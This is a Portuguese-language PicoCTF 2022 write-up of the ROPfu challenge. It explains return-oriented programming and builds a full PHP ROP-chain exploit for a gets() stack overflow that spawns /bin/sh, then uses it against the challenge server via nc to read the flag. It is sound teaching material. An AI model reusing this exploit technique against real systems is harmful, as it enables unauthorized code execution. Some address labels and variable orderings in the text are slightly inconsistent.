.d8888b. 8888888888 .d8888b. 888888888 .d8888b. d88P Y88b d88P d88P Y88b 888 d88P Y88b 888 888 d88P .d88P 888 888 888 888 888 888 888 d88P 8888" 8888888b. Y88b. d888 888 888 `Y8bd8P' 88888888 "Y8b. "Y88b "Y888P888 888 888 X88K d88P 888 888 888 888 Y88b d88P .d8""8b. d88P Y88b d88P Y88b d88P Y88b d88P "Y8888P" 8888 8888 d88P "Y8888P" "Y8888P" "Y8888P"

[ Autor: Nicholas Ferreira ]


[0x8] PicoCTF 2022 - ROPfu write-up (em português)

06/04/2022



Neste texto eu mostrarei minha solução para o desafio ROPfu do PicoCTF 2022, além de uma explicação mais detalhada do funcionamento da técnica ROP. Como o nome sugere, o desafio consiste em conseguir obter a flag através da exploração de um stack buffer overflow via ROP (Return Oriented Programming), uma técnica que nos permite escrever códigos assembly reutilizando códigos do próprio binário explorado, possibilitando o bypass de NX (stack não executável).

Código vulnerável

Este é o código em C do binário que exploraremos:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
    char buf[16];
    printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
    return gets(buf);
}

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IONBF, 0);
    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    vuln();
}

É fácil notar a vulnerabilidade: é criado um buffer de 16 bytes e então é exibido um prompt para o usuário inserir dados, que são diretamente escritos no buffer com gets() sem qualquer validação. Se o usuário escrever dados demais, esses dados transbordarão o tamanho do buffer e poderão sobrescrever outros dados da stack, como o endereço de retorno da função, o que permite a manipulação do fluxo de execução do programa.

Usando o PHPattern, podemos facilmente encontrar o número de bytes necessários para sobrescrever o EIP:


>_
nich0las@0x7359:~$ ./PHPattern fuzz 50
...
AA10AA11AA12AA13AA14AA15AA16AA17AA18AA19AA20AA21AA
nich0las@0x7359:~$ echo AA10AA11AA12AA13AA14AA15AA16AA17AA18AA19AA20AA21AA | ./vuln
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
Segmentation fault
nich0las@0x7359:~$ dmesg | tail -n 2
[1012141.517127] vuln[1053854]: segfault at 37314141 ip 0000000037314141 sp 00000000ffa436b0 error 14
[1012141.517152] Code: Unable to access opcode bytes at RIP 0x37314117.
nich0las@0x7359:~$ ./PHPattern find 37314141 50
[+] You need 28 bytes to reach EIP.


Como vemos, precisamos enviar 28 bytes para chegarmos ao endereço de retorno. Os próximos 4 bytes sobrescreverão esse endereço e, com isso, podemos controlar o fluxo do programa.

Não é possível fazer a abordagem padrão de buffer overflow aqui, que seria enviar o payload para a stack e apontar o EIP para algum endereço que contenha jmp esp, porque não há instruções jmp esp no executável, e os únicos opcodes FF E4 (correspondentes à instrução jmp esp) estão em seções não executáveis.

Então, a abordagem, como o próprio nome do desafio sugere, deve ser via ROP.

Retornando de funções

Para entender o ROP, considere o seguinte pseudo-código:

int soma(x,y){
    return x+y;
}

void main(){
    int a = 10;
    int b = 5;
    print("Somando...");
    int c = soma(a,b);
    print("Resultado: %d", c);
    exit();
}

Aqui, temos a função main, que chama outra função (soma()) e printa seu retorno. O programa, ao ser executado, começa pela função main e vai executando "linha a linha" (na verdade, o computador executa instruções de máquina; o código escrito é apenas uma abstração). Então, primeiro ele seta o valor da variável a para 10, depois o da variável b para 5, depois ele chama a função print passando "Somando..." como argumento, depois ele chama a função soma() passando a e b como argumentos e salva o resultado na variável c. Depois, chama a função print passando "Resultado: c" como argumento, e finalmente chama a função exit() para sair do programa.

Uma série de instruções foram executadas, e vale notar que a execução do programa não é linear. Ao chamar a função print(), por exemplo, o fluxo do código é desviado para o começo dessa função, que tem várias instruções que levam a printar na tela o argumento passado (provavelmente através da syscall write). Porém, após terminada a execução da função print(), o programa precisa voltar para onde ele estava no código principal. Então, após o return dentro da função print(), o programa desvia seu fluxo novamente para o código principal e executa a próxima instrução (que seria int c = soma(a,b);). Isso ocorre sempre que uma função é chamada.

Para saber para onde o programa deve retornar após finalizada a execução de uma função, o endereço de retorno é salvo no topo da stack antes de a função ser executada. Dessa forma, ao retornar da função, basta o programa desviar seu fluxo para o esp (o topo da stack), porque ele conterá o endereço de retorno.

Em termos de assembly, a função é chamada através da instrução call e é retornada através da instrução ret. Para fins didáticos, pode-se entender o call 0x123456 como sendo um atalho para push X; jmp 0x123456, onde X é o endereço da instrução imediatamente após o call. E pode-se entender o ret como sendo um atalho para jmp [esp].

Por exemplo:
804563a soma:
...
8045648    mov eax, ebx
804565c    ret

8045670 main:
...
8045684    call soma
8045689    mov ebx, eax

O programa, ao executar a instrução call soma, coloca na stack o valor 0x8045689, que é o endereço da instrução imediatamente após o call soma; ou seja, o endereço de retorno dessa função. Após isso, ele desvia o fluxo de execução para 0x804563a, que é o endereço da função soma. Após realizar os procedimentos dessa função, o programa executa a instrução ret, que recupera o endereço de retorno (armazenado na stack) e transfere o fluxo de execução para ele (0x8045689).

No caso de um programa vulnerável a stack buffer overflow, nós conseguimos escrever dados na pilha de tal modo a sobrescrever o endereço de retorno da função. Assim, quando o programa encontrar a instrução ret, ele pulará para o endereço que quisermos.

ROP

Até aqui, não há nada novo. A novidade começa quando nos damos conta de que podem haver certas partes no executável (geralmente, no fim de funções) que realizam algumas instruções e então retornam (para o endereço no topo da stack, como vimos).

Considere, por exemplo, o caso do nosso executável vulnerável: após um input de 28 bytes, os próximos 4 sobrescreverão o endereço de retorno. Porém, o que acontece se enviarmos mais dados além desses? E se enviarmos 28 bytes + novo EIP + BBBB? Para testar isso, vamos setar o novo EIP para o próprio endereço da função vuln, que é 0x08049d95. Com isso, deveremos ver duas vezes seu output.


>_
nich0las@0x7359:~$ python -c "print('A'*28 + '\x95\x9d\x04\x08' + 'BBBB')" | ./vuln
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
Segmentation fault
nich0las@0x7359:~$ dmesg | tail -n 2
[1115618.136385] vuln[1191941]: segfault at 42424242 ip 0000000042424242 sp 00000000ff851f94 error 14
[1115618.136401] Code: Unable to access opcode bytes at RIP 0x42424218.


Recebemos um segfault por tentativa de acesso ao endereço 0x42424242, que são os 4 B's que enviamos. Isso ocorre porque os 4 bytes a mais que enviamos também foram para a stack. Na primeira vez em que a função vuln retornou, ela transferiu o fluxo para o endereço do esp, que contém os primeiros 4 bytes depois dos 28 que enviamos (\x95\x9d\x04\x08; 0x08049d95 em little-endian), que é o endereço da própria função vuln. Então, ele rodou a função vuln de novo e, ao retornar pela segunda vez, transferiu o fluxo para o esp, que continha os próximos 4 bytes da stack (os BBBB que enviamos).

Considere, agora, o seguinte segmento de código descompilado:

8049e38  ...
8049e39  pop ecx
8049e3a  ret

O que aconteceria se colocássemos o endereço desse pop ecx para sobrescrever o esp pela primeira vez, mantendo o BBBB no final?


>_
nich0las@0x7359:~$ python -c "print('A'*28 + '\x39\x9e\x04\x08' + 'BBBB')" | ./vuln
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
Segmentation fault
nich0las@0x7359:~$ dmesg | tail -n 2
[1117105.936522] vuln[1195101]: segfault at 80e5000 ip 00000000080e5000 sp 00000000ffed7b08 error 15 in vuln[80e5000+2000]
[1117105.936541] Code: 0e 08 00 00 00 00 00 5c 0a 08 00 00 00 00 00 00 00 00 3c 6b 0c 08 68 59 0e 08 50 59 0e 08 70 f0 05 08 00 00 00 00 00 00 00 00 <00> 00 00 00 00 00 00 00 00 00 00 00 b0 88 06 08 d0 24 09 08 f0 9c


Aqui, apesar do segfault, obtivemos um resultado diferente. Nós fizemos com que o programa pulasse para 0x08049e39, que contém a instrução pop ecx. Essa instrução move para ecx o endereço que está no topo da stack - neste caso, 0x42424242. Então, se abrirmos o programa no gdb, rodarmos com esse input e colocarmos um breakpoint em 0x08049e39, deveremos ver ecx receber BBBB.


>_
nich0las@0x7359:~$ gdb ./vuln
>>> break *0x08049e39
Breakpoint 1 at 0x8049e39
>>> run < <(python -c "print('A'*28 + '\x39\x9e\x04\x08' + 'BBBB')")
>>> ni
>>> i r
eax 0xffffce10 -12784
ecx 0x42424242 1111638594
...


E é exatamente isso que ocorre: após a execução de pop ecx, que está localizado em 0x08049e39, o conteúdo de ecx é exatamente os 4 bytes que enviamos em nosso payload.

Como podemos ver, é possível manipular o valor de registradores usando o próprio código do executável. Por exemplo, se preciarmos colocar o valor 0 em eax, basta procurarmos por algum lugar no código que faça mov eax, 0; ret, ou xor eax, eax; ret, ou até mesmo algo mais complexo, como mov ebx, 1; sub ebx; mov eax, ebx; ret. O importante é sempre termos a instrução ret, pois com ela podemos definir (através da stack) a próxima instrução a ser executada.

Com isso, se pudermos encontrar instruções úteis o suficiente, podemos construir um pequeno código em assembly, com base nas instruções do próprio programa, e executar certos códigos. Como o objetivo do desafio é conseguir a flag na máquina remota, o melhor a se fazer é construir uma simples shell usando a syscall execve e depois tentar reconstruí-la com o que tivermos disponível no programa.

Desenhando a concha

Para termos uma noção do que precisaremos fazer, vamos fazer um esboço de como será o código da shell a ser executada.

Do manual da syscall execve:
execve - execute program

SYNOPSIS
       #include <unistd.h>

       int execve(const char *pathname, char *const argv[],
                  char *const envp[]);

DESCRIPTION
       execve()  executes  the  program referred to by pathname. [...]

       pathname must be either a binary executable, or a script starting with a line of the form:

       [...]
       
       argv is an array of pointers to strings passed to the new program as its command-line arguments.
       By convention, the first of these strings (i.e., argv[0]) should  contain  the  filename  associated
       with the file being executed. 
       The argv array must be terminated by a NULL pointer.  (Thus, in the new program, argv[argc] will be NULL.)

       envp is an array of pointers to strings, conventionally of the form key=value, which are passed
       as the environment of the new program. The envp array must be terminated by a NULL pointer.

Então, para usarmos a syscall execve, precisamos seguir as convenções de chamada do assembly x86 e setar os seguintes registradores:
eax: número da syscall
ebx: primeiro argumento
ecx: segundo argumento
edx: terceiro argumento

O número da syscall do execve é 11 (0xB):

>_
nich0las@0x7359:~$ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_32.h
#define __NR_execve 11


O primeiro argumento, como vemos no manual, é uma string contendo o path do arquivo que queremos executar. Em nosso caso, essa string será /bin/sh.

O segundo argumento é um array contendo strings, onde cada string é um argumento passado para o programa que queremos executar. Como não precisamos de nenhum argumento, passaremos apenas o próprio nome do programa (já que o argv[0] - o argumento de índice 0 - é sempre o programa a ser executado).

O terceiro argumento nós deixaremos zerado.

Precisamos montar um código que faça os seguintes passos:
  1. Escreva '/bin/sh' na memória
  2. Crie um ponteiro para a string '/bin/sh' na memória
  3. Coloque 11 em eax
  4. Coloque '/bin/sh' em ebx
  5. Coloque o ponteiro para '/bin/sh' em ecx
  6. Execute a syscall (int 0x80)
Após executados esses passos, devemos conseguir uma shell na máquina em que o programa está rodando.

Juntando os cacos (ou gadgets)

Agora que temos uma noção do que precisamos fazer, basta "quebrar" o programa em pedaços pequenos e ver quais deles podem ser úteis. No linguajar de binary exploitation, esses "pedaços" são chamados gadgets, e consistem em certas instruções assembly seguidas de um ret.

É muito importante que a instrução seja seguida de ret, porque é isso que nos garante continuar podendo manipular o fluxo de execução do programa (já que, como vimos, o ret pulará para o endereço em esp, sobre o qual temos controle).

Para encontrarmos essas instruções, podemos usar o programa ROPgadget, que faz exatamente isso.


>_
nich0las@0x7359:~$ ROPgadget --binary vuln | grep ret
Gadgets information
============================================================
...
0x0804a9c0 : add al, 0x24 ; ret
0x080578e9 : add al, 0x5b ; ret
0x0806864c : add al, 0x5f ; ret
...
0x080b06ea : push eax ; ret
0x0804a011 : push edi ; ret
0x080654f8 : push edx ; ret
...
0x080aa2eb : sub eax, 1 ; ret
...
0x080b074a : pop eax ; ret
0x08049022 : pop ebx ; ret
0x08049e39 : pop ecx ; ret
...
0x0807a7e8 : xchg eax, edi ; ret
0x0804fb90 : xor eax, eax ; ret
...


Como vemos, podemos filtrar por instruções que tenham o ret que precisamos. Essa lista nos mostra que, por exemplo, no endereço 0x080b074a há a instrução pop eax seguida de ret. Então, se pularmos para esse endereço, o valor que estiver no topo da pilha será transferido para o registrador eax e o programa retornará.

Note que, neste caso, se quisermos colocar o valor "CCCC" em eax, precisaríamos executar o seguinte:

>_
nich0las@0x7359:~$ python -c "print('A'*28 + '\x4a\x07\x0b\x08' + 'CCCC' + 'XXXX')" | ./vuln


Isso fará o programa ir para o endereço 0x080b074a e deixará CCCC no topo da stack. Em 0x080b074a, o programa executará pop eax, que removerá CCCC do topo da stack e o colocará em eax. Agora, é XXXX que está no topo da stack, e é para esse endereço que a aplicação irá ao executar ret. No lugar de XXXX, poderíamos colocar o endereço de outra instrução dessa lista, e ela seria a próxima a ser executada.

Podemos, com isso, criar uma cadeia com várias instruções, de modo que uma vai chamando a outra e executando nosso código aos poucos. Esse é o conceito principal da técnica de ROP: criar essas cadeias de gadgets (rop chains, ou gadget chains).

Sabendo disso, temos tudo o que precisamos para começar a escrever nosso exploit. A maioria das pessoas usa python e/ou pwntools para isso. No entanto, para a infelicidade de alguns, escreverei o exploit em PHP. Ele será bem simples; não fará nenhuma conexão com a internet nem interação com processos. O exploit apenas construirá o "shellcode" e o printará para o stdout.

Escrevendo o exploit

Como já vimos, precisamos enviar 28 bytes para sobrescrever o buffer e conseguirmos chegar ao eip:
#!/usr/bin/php
<?php

$payload = str_repeat("A", 28);

A primeira coisa a se fazer é escrever a string /bin/sh em algum lugar na memória. Para isso, precisamos de uma região em que tenhamos permissão de escrita.


>_
nich0las@0x7359:~$ readelf -S vuln
There are 29 section headers, starting at offset 0xace68:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .note.gnu.bu[...] NOTE 08048134 000134 000024 00 A 0 0 4
[ 2] .note.ABI-tag NOTE 08048158 000158 000020 00 A 0 0 4
[ 3] .rel.plt REL 08048178 000178 000070 08 AI 0 18 4
[ 4] .init PROGBITS 08049000 001000 000024 00 AX 0 0 4
[ 5] .plt PROGBITS 08049028 001028 000070 00 AX 0 0 8
[ 6] .text PROGBITS 080490a0 0010a0 069d11 00 AX 0 0 16
...
...
[23] .bss NOBITS 080e62c0 09d2b8 000d1c 00 WA 0 0 32


Usaremos a seção .bss nesse caso, já que temos permissão de escrever nela. Como vemos, seu endereço é 0x080490a0. Guardaremos isso em uma variável.
$bss = "080e62c0";

No entanto, esse e os outros endereços que usaremos não podem ser enviados assim. Como o conteúdo passado para o programa irá para a stack, seus bytes chegarão invertidos, em litte-endian. Em vez de \x08\x0e\x62\xc0, teremos \xc0\x62\x0e\x08. Note que são os bytes que chegam invertidos, não o endereço todo.

Para transformar em little, endian, basta separar a hex-string a cada 2 caracteres, colocá-los em um array, inverter a ordem do array e juntar os itens do array numa string novamente. Como delimitador, usei a string '\x', para que o resultado já esteja em formato interpretável:

function p32($x){
    return "\x".join("\x",array_reverse(str_split($x,2)));
}

Agora, quando precisarmos usar algum endereço em little-endian, basta passá-lo para a função p32() (sim, roubei o nome da função do pwntools xD).

Para escrever /bin/sh na memória, podemos usar o seguinte gadget:
0x08059102 : mov dword ptr [edx], eax ; ret

Ele move o conteúdo de eax para o endereço de memória em edx. Então, para escrevermos uma string em um endereço X, basta mover X para edx, mover a string para eax, e por fim pular para a instrução em 0x08059102.

Para escrevermos algo em eax, podemos usar algum gadget de pop eax, e o mesmo vale para escrevermos em edx. Temos, então, o seguinte:
$pop_eax = "080b074a";          //pop eax
$pop_edx_ebx = "080583c9";      //pop edx; pop ebx
$mov_mem_edx_eax = "08059102";  //mov [edx], eax

No resultado do ROPGadget, não é possível encontrar uma instrução pop edx seguida imediatamente de ret. Mas nós temos pop edx; pop ebx; ret, que funcionará para nós. Precisamos apenas adicionar 4 bytes após o conteúdo que queremos mover para edx (esses 4 bytes podem ser qualquer coisa, apenas para serem movidos para ebx, já que esse gadget requer isso).

Podemos, então, escrever a primeira parte da string:
//Escrever '/bin' em .bss
$payload .= p32($pop_eax);          //coloca '/bin' em eax
$payload .= "/bin";
$payload .= p32($pop_edx_ebx);      //coloca $bss em edx e 'XXXX' em ebx
$payload .= p32($bss)."XXXX";
$payload .= p32($mov_mem_edx_eax);  //escreve '/bin' em $bss

Colocamos os 4 primeiros bytes ("/bin") da nossa string em .bss e agora precisamos colocar os 4 últimos ("/sh"). Porém, a string tem 7 bytes no total, e precisamos que ela tenha 8 para que tudo fique alinhado. Felizmente, podemos duplicar uma barra porque a função execve a ignorará. Então, precisamos agora escrever "//sh" em .bss+4 (já que os 4 primeiros bytes de .bss já estão ocupados por "/bin").

Eu poderia melhorar a função p32 para fazer ela suportar somas de endereços hexadecimais, mas isso daria muito trabalho desnecessário, então vamos escrever manualmente o valor de .bss+4:

$bss2 = "080e62c4";  //bss+4

E agora repetimos o mesmo processo de cima, porém, escrevendo "//sh":
//Escrever '//sh' em .bss+4
$payload .= p32($pop_eax);           //coloca '//sh' em eax
$payload .= "//sh";
$payload .= p32($pop_edx_ebx);      //coloca $bss2 em edx e 'YYYY' em ebx
$payload .= p32($bss2)."YYYY";
$payload .= p32($mov_mem_edx_eax);  //escreve '//sh' em .bss+4

O "YYYY" tem a mesma função que o "XXXX" no trecho anterior. Usei letras diferentes porque isso facilita na hora de debugar o shellcode manualmente depois, caso necessário.

Agora que temos nossa string /bin//sh no endereço 0x080e62c0, que é o endereço da seção .bss, precisamos também de um ponteiro para essa string, já que a execve exige isso. Para isso, basta salvarmos o próprio endereço de .bss também na própria seção .bss. Como os 8 primeiros bytes de .bss já estão ocupados com /bin//sh, vou pular mais 4 de espaçamento e guardar o endereço após esses 4. Ou seja, o endereço 0x080e62c0 será guardado em .bss+12 (e eu vou criar mais uma variável preguiçosa para isso, já que não podemos realizar operações facilmente com esses endereços):
$bss3 = "080e62cc";  //.bss+12

Escrevendo o ponteiro para /bin//sh em .bss+12:
//Escrever o ponteiro para '/bin//sh' em .bss+12
$payload .= p32($pop_eax);          //coloca o endereço de .bss em eax
$payload .= p32($bss);
$payload .= p32($pop_edx_ebx);      //coloca .bss+12 em edx e 'ZZZZ' em ebx
$payload .= p32($bss3)."ZZZZ";
$payload .= p32($mov_mem_edx_eax);  //escreve o ponteiro para '/bin//sh' em .bss+12

Por fim, precisamos adicionar um nullbyte ao fim desses dados em .bss+12; do contrário, a função execve retornará erro de bad address (isso estava escrito no manual da função, lembra?). Como acabamos de adicionar 4 bytes em .bss+12, o final deles está em .bss+16 (0x080e62c0 + 16 = 0x080e62d0).
$bss4 = "080e62d0"; //bss+16

Para adicionar um nullbyte nesse lugar, usaremos o gadget mov_mem_edx_eax novamente. Primeiro precisamos zerar eax, depois colocar $bss4 em edx e então usar o gadget:
//Adiciona \x00 no fim de .bss
$payload .= p32($xor_eax_eax);        //zera eax
$payload .= p32($pop_edx_ebx);        //coloca .bss4 em edx
$payload .= p32($bss4)."WWWW";
$payload .= p32($mov_mem_edx_eax);    //escreve \x00 em .bss4

Preparando registradores

Agora que já temos nossa string e um ponteiro para ela salvos na memória, podemos começar a preparar os registradores para então fazermos a syscall.

Como já vimos, edx terá o terceiro argumento de execve, que em nosso caso será vazio. Então, precisamos zerar edx. Não há qualquer gadget do tipo mov edx, 0, ou xor edx, edx, que nos permita zerar facilmente edx. Porém, temos os seguintes gadgets:
0x0804fb90 : xor eax, eax ; ret
0x0806ca36 : xchg eax, edx ; ret

Com eles, podemos primeiro zerar o valor de eax e então usar a instrução xchg (exchange) para trocar o valor de eax com edx. Dessa forma, edx passará a ter 0, que é o atual valor de eax, e eax passará a ter qualquer que seja o antigo valor de edx:
$xor_eax_eax = "0804fb90";   //xor eax, eax
$xchg_eax_edx = "0806ca36";  //xchg eax, edx

Agora podemos escrever o código que zera edx:
//Zerando edx
$payload .= p32($xor_eax_eax);     //zera eax
$payload .= p32($xchg_eax_edx);    //troca o valor de edx com o de eax

Agora, basta setarmos os registradores da seguinte maneira:
eax: 11
ebx: endereço de .bss
ecx: endereço de .bss+12

O valor 11 em eax é referente ao código da syscall execve, como já vimos. ebx contém o primeiro argumento de execve, que é o path do programa a ser executado (neste caso, /bin//sh). ecx contém o argv[], que neste caso é um ponteiro para a própria string /bin//sh, já que não passaremos argumentos para o sh.

Para escrevermos em ebx e ecx, podemos usar a mesma técnica de pop que usamos antes, dessa vez com os seguintes gadgets:
0x08049022 : pop ebx ; ret
0x08049e39 : pop ecx ; ret
Implementando em nosso exploit:
$pop_ebx = "08049022";
$pop_ecx = "08049e39";
O código fica assim:
//Setando os registradores restantes
$payload .= p32($pop_ebx);    //coloca .bss em ebx
$payload .= p32($bss);

$payload .= p32($pop_ecx);    //coloca .bss+12 em ecx
$payload .= p32($bss3);

Agora, precisamos colocar 11 (0xb) em eax. O atual valor de eax é o antigo valor de edx, que não conhecemos. Então o melhor a se fazer é zerar eax, mover algum valor para ele e somar (ou subtrair) números até chegar em 11. Para isso, temos os seguintes gadgets:
0x08093990 : mov eax, 7 ; ret
0x08093900 : add eax, 1 ; ret
0x08093910 : add eax, 3 ; ret
Implementando:
$mov_eax_7 = "08093990";
$add_eax_1 = "08093900";
$add_eax_3 = "08093910";

Para colocarmos 11 em eax, podemos fazer isso:
//Coloca 11 em eax
$payload .= p32($xor_eax_eax);  //zera eax
$payload .= p32($mov_eax_7);    //eax = 7
$payload .= p32($add_eax_3);    //eax = 7+3 = 10
$payload .= p32($add_eax_1);    //eax + 7+3+1 = 11

Por fim, basta executarmos a syscall, com o seguinte gadget:
0x0804a3d2 int 0x80
$syscall = "0804a3d2";     //int 0x80
$payload .= p32($syscall);

echo $payload;


A exploração

Finalizado o exploit, basta rodá-lo localmente para testá-lo.

>_
nich0las@0x7359:~$ php rop_artigo.php
AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x4a\x07\x0b\x08/bin\xc9\x83\x05\x08\xc0\x62\x0e\x08AAAA
\x02\x91\x05\x08\x4a\x07\x0b\x08//sh\xc9\x83\x05\x08\xc4\x62\x0e\x08BBBB\x02\x91\x05
\x08\x4a\x07\x0b\x08\xc0\x62\x0e\x08\xc9\x83\x05\x08\xcc\x62\x0e\x08CCCC\x02\x91\x05
\x08\x90\xfb\x04\x08\xc9\x83\x05\x08\xd0\x62\x0e\x08DDDD\x02\x91\x05\x08\x90\xfb\x04
\x08\x36\xca\x06\x08\x22\x90\x04\x08\xc0\x62\x0e\x08\x39\x9e\x04\x08\xcc\x62\x0e\x08
\x90\xfb\x04\x08\x90\x39\x09\x08\x10\x39\x09\x08\x00\x39\x09\x08\xd2\xa3\x04\x08

Aparentemente, tudo certo. Precisamos fazer com que esses dados sejam interpretados como bytes, não como string hexadecimal. Para isso, podemos dar um echo -e no resultado do comando anterior.


>_
nich0las@0x7359:~$ echo -e $(php rop_artigo.php)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAJ
                            /bin�AAAAJ
                                     //sh�BBBBJ
                                              ��CCCC��DDDD�6"�9���9    9       9  ң

Agora, precisamos enviar isso para o stdin do arquivo a ser explorado. Porém, ao fazer isso, o programa se fecha.

>_
nich0las@0x7359:~$ echo -e $(php rop_artigo.php) | ./vuln
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!


Nosso exploit de fato funcionou. Usando o strace é possível ver que a syscall execve foi executada e um processo do /bin/sh foi criado, mas se fechou logo em seguida.

>_
nich0las@0x7359:~$ echo -e $(php rop_artigo.php) | strace ./vuln
execve("./vuln", ["./vuln"], 0x7fffd599a920  69 vars /) = 0
[ Process PID=1564715 runs in 32 bit mode. ]
...
write(1, "How strong is your ROP-fu? Snatc"..., 70How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!) = 70
write(1, "\n", 1
)            = 1
fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\7\v\10"..., 4096) = 165

execve("/bin//sh", ["/bin//sh"], NULL) = 0
[ Process PID=1564715 runs in 64 bit mode. ]
brk(NULL)                = 0x555ea4a1c000
access("/etc/ld.so.preload", R_OK)   = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=107991, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 107991, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f7988b0a000
close(3)                = 0
...
read(0, "", 8192)            = 0
exit_group(0)              = ?
+++ exited with 0 +++


Aqui, é possível ver a origem do problema. O /bin/sh tenta ler algum input do usuário, mas não há qualquer input, e como ele não foi chamado via algum tty, ele se fecha. Precisamos manter um canal aberto entre o terminal e o /bin/sh que será executado. Para isso, podemos rodar o primeiro comando numa subshell junto com ;cat, e então passar isso via pipe para o programa vulnerável.

O cat, quando executado sem argumentos, fica "ouvindo" e copia qualquer coisa do stdin para o stdout. No caso, o stdin é o próprio input do terminal, e o stdout será o processo do /bin/sh. Rodando o comando, obtivemos êxito:


>_
nich0las@0x7359:~$ (echo -e $(php rop_artigo.php);cat) | ./vuln
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
whoami
nich0las
pwd
/home/nich0las/MyCodes/picoCTF2022/ropfu
^C


Agora, basta fazer isso remotamente e obter a flag:


>_
nich0las@0x7359:~$ (echo -e $(php rop_artigo.php);cat) | nc saturn.picoctf.net 60106
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
ls -la
total 700
drwxr-xr-x 1 root root     34 Mar 15 06:45 .
drwxr-xr-x 1 root root    104 Mar 15 06:45
-rw-r--r-- 1 root root     34 Mar 15 06:45 flag.txt
-rwxr-xr-x 1 root root 709360 Mar 15 06:45 vuln
cat flag.txt
picoCTF{5n47ch_7h3_5h311_e81af635}


=)


O exploit que eu fiz durante o CTF pode ser encontrado em meu github.